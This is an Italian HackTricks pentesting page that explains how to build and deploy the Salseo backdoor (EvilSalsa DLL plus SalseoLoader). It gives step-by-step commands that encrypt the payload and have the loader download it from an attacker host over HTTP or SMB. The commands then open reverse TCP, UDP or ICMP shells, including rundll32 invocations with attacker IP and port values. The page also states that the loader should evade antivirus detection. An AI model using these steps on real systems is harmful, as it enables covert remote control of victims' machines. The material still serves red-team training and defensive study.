hacktricks/backdoors/salseo.md

7.9 KiB

Salseo

{% hint style="success" %} Impara e pratica l'hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}

Compilazione dei binari

Scarica il codice sorgente da GitHub e compila EvilSalsa e SalseoLoader. Avrai bisogno di Visual Studio installato per compilare il codice.

Compila quei progetti per l'architettura della macchina Windows dove li utilizzerai (se Windows supporta x64, compilali per quell'architettura).

Puoi selezionare l'architettura all'interno di Visual Studio nella scheda "Build" a sinistra in "Platform Target".

(**Se non riesci a trovare queste opzioni premi su "Project Tab" e poi su "<Project Name> Properties")

Quindi, compila entrambi i progetti (Build -> Build Solution) (All'interno dei log apparirà il percorso dell'eseguibile):

Prepara il Backdoor

Innanzitutto, dovrai codificare il EvilSalsa.dll. Per farlo, puoi utilizzare lo script python encrypterassembly.py o puoi compilare il progetto EncrypterAssembly:

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt

Windows

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt

Ora hai tutto il necessario per eseguire tutto il Salseo: il EvilDalsa.dll codificato e il binario di SalseoLoader.

Carica il binario SalseoLoader.exe sulla macchina. Non dovrebbero essere rilevati da alcun AV...

Esegui il backdoor

Ottenere una shell TCP inversa (scaricando il dll codificato tramite HTTP)

Ricorda di avviare un nc come listener della shell inversa e un server HTTP per servire il malevolo evilsalsa.

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

Ottenere una shell inversa UDP (scaricando dll codificata tramite SMB)

Ricorda di avviare un nc come listener della shell inversa e un server SMB per servire l'evilsalsa codificata (impacket-smbserver).

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

Ottenere una shell inversa ICMP (dll già codificata all'interno della vittima)

Questa volta è necessario uno strumento speciale nel client per ricevere la shell inversa. Scarica: https://github.com/inquisb/icmpsh

Disabilita le risposte ICMP:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0

Esegui il client:

python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"

All'interno della vittima, eseguiamo la cosa del salseo:

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>

Compilazione di SalseoLoader come DLL esportando la funzione principale

Apri il progetto SalseoLoader usando Visual Studio.

Aggiungi prima della funzione principale: [DllExport]

Installa DllExport per questo progetto

Strumenti --> Gestione pacchetti NuGet --> Gestisci pacchetti NuGet per la soluzione...

Cerca il pacchetto DllExport (usando la scheda Sfoglia), e premi Installa (e accetta il popup)

Nella cartella del tuo progetto sono comparsi i file: DllExport.bat e DllExport_Configure.bat

Disinstalla DllExport

Premi Disinstalla (sì, è strano ma fidati, è necessario)

Esci da Visual Studio ed esegui DllExport_configure

Semplicemente esci da Visual Studio

Poi, vai nella tua cartella SalseoLoader ed esegui DllExport_Configure.bat

Seleziona x64 (se lo utilizzerai all'interno di una casella x64, come nel mio caso), seleziona System.Runtime.InteropServices (all'interno di Namespace per DllExport) e premi Applica

Apri nuovamente il progetto con Visual Studio

[DllExport] non dovrebbe più essere segnato come errore

Compila la soluzione

Seleziona Tipo di output = Libreria di classi (Progetto --> Proprietà SalseoLoader --> Applicazione --> Tipo di output = Libreria di classi)

Seleziona piattaforma x64 (Progetto --> Proprietà SalseoLoader --> Compila --> Destinazione della piattaforma = x64)

Per compilare la soluzione: Compila --> Compila soluzione (Nella console di output apparirà il percorso del nuovo DLL)

Testa il Dll generato

Copia e incolla il Dll dove desideri testarlo.

Esegui:

rundll32.exe SalseoLoader.dll,main

Se non appare alcun errore, probabilmente hai una DLL funzionale!!

Ottenere una shell utilizzando la DLL

Non dimenticare di utilizzare un server HTTP e impostare un listener nc

Powershell

$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main

CMD

Il prompt dei comandi (Command Prompt) è un'interfaccia testuale che consente agli utenti di interagire con il sistema operativo utilizzando comandi testuali.

set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main

{% hint style="success" %} Impara e pratica l'hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks
{% endhint %}